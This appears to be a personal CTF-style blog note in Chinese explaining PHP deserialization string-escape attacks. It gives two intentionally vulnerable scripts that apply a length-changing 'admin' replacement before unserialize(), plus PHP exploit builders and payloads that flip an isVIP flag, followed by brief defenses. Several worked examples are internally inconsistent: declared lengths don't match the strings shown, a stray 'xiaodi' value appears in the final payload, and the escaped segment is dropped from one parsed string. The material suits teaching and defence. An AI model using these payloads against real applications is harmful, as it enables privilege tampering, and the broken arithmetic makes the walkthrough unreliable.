抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

PHP反序列化字符串逃逸个人笔记

原理简介

字符串逃逸是PHP反序列化漏洞利用中的一种技术,主要利用了PHP在反序列化时对字符串长度的严格判断机制。当对序列化字符串进行某些操作(如替换、过滤)时,字符串长度与声明的长度不匹配,就可能导致后续数据”逃逸”出来被当作新的序列化数据处理。

字符串逃逸主要分为两种情况:

  • 字符数增加:替换后字符变长,可控制”吃掉”后面的属性
  • 字符数减少:替换后字符变短,可控制后面的属性”逃逸”出来

案例一:字符数增加逃逸

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class user
{
public $username;
public $password;
public $isVIP;

public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}

function login(){
$isVip = $this->isVIP;

if($isVip == 1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}

function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
// 注意:这里将"admin"替换为"hacker",字符长度从5变为6
}

$obj = $_GET['x'];
if(isset($obj)){
$o = unserialize(filter($obj));
$o->login();
}else{
echo 'fuck';
}

漏洞分析

  1. 目标:使 isVIP 的值变为1,从而获取flag
  2. 关键点:filter函数将”admin”替换为”hacker”,替换后字符串长度增加1
  3. 逃逸思路:构造大量”admin”,替换后长度变化会使后面的属性被”吞噬”

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class user
{
public $username = 'admin';
public $password = '123456';
public $isVIP = '1';

public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}

function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}

// 构造payload
$u = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$p = '123456';

$obj = new user($u, $p);
echo filter(serialize($obj));

利用过程分析

  1. 原始序列化对象:
1
O:4:"user":3:{s:8:"username";s:235:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
  1. 逃逸构造思路:

    • 我们需要让”admin”被替换为”hacker”后,后面的部分能够被解析成新的属性
    • 计算:每个”admin”替换为”hacker”增加1个字符
    • 必须插入47个”admin”才能覆盖后面的定义
  2. 构造的payload被过滤后:

1
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:1;}
  1. 实际被解析的部分:
1
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

最终Payload

1
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"xiaodi";s:5:"isVIP";i:1;

案例二:字符数减少逃逸

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class user
{
public $username;
public $password;
public $isVIP;

public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}

function login(){
$isVip = $this->isVIP;
if($isVip == 1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}
}

function filter($obj) {
return preg_replace("/admin/","hack",$obj);
// 注意:这里将"admin"替换为"hack",字符长度从5变为4
}

$obj = $_GET['x'];
if(isset($obj)){
$o = unserialize(filter($obj));
$o->login();
}else{
echo 'fuck';
}

漏洞分析

  1. 目标:同样是使 isVIP 的值变为1
  2. 关键点:filter函数将”admin”替换为”hack”,替换后字符串长度减少1
  3. 逃逸思路:构造大量”admin”,使替换后字符串实际长度小于声明长度,导致后面的内容”逃逸”出来

漏洞利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u, $p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

// 构造payload
$u = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p = ';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';

$a = new user($u, $p);
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

利用过程分析

  1. 替换前后对比:

    • 替换前:O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:3:"132";s:5:"isVIP";i:0;}
    • 替换后:O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:3:"132";s:5:"isVIP";i:0;}
  2. 逃逸构造思路:

    • 每个”admin”替换为”hack”减少1个字符
    • 需要22个”admin”使其减少22个字符,正好让我们控制的内容”逃逸”
  3. 构造的序列化字符串:

1
O:4:"user":3:{s:8:"username";s:110:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:46:";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
  1. 过滤后实际被解析的字符串:
1
O:4:"user":3:{s:8:"username";s:110:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

防御方法

  1. 避免在序列化数据上直接进行字符串操作
  2. 对用户输入进行严格验证,尤其是反序列化前
  3. 使用白名单限制可以反序列化的类
  4. 考虑使用签名等机制确保序列化数据的完整性

总结

字符串逃逸是一种巧妙利用PHP反序列化机制的技术,主要有两种情况:

  1. 字符替换后变长导致后面内容被”吃掉”
  2. 字符替换后变短导致后面内容”逃逸”出来

这两种情况都可能导致恶意用户控制对象属性,进而执行恶意操作。在开发中应当注意对序列化数据的保护,避免直接在其上进行字符串替换操作。

评论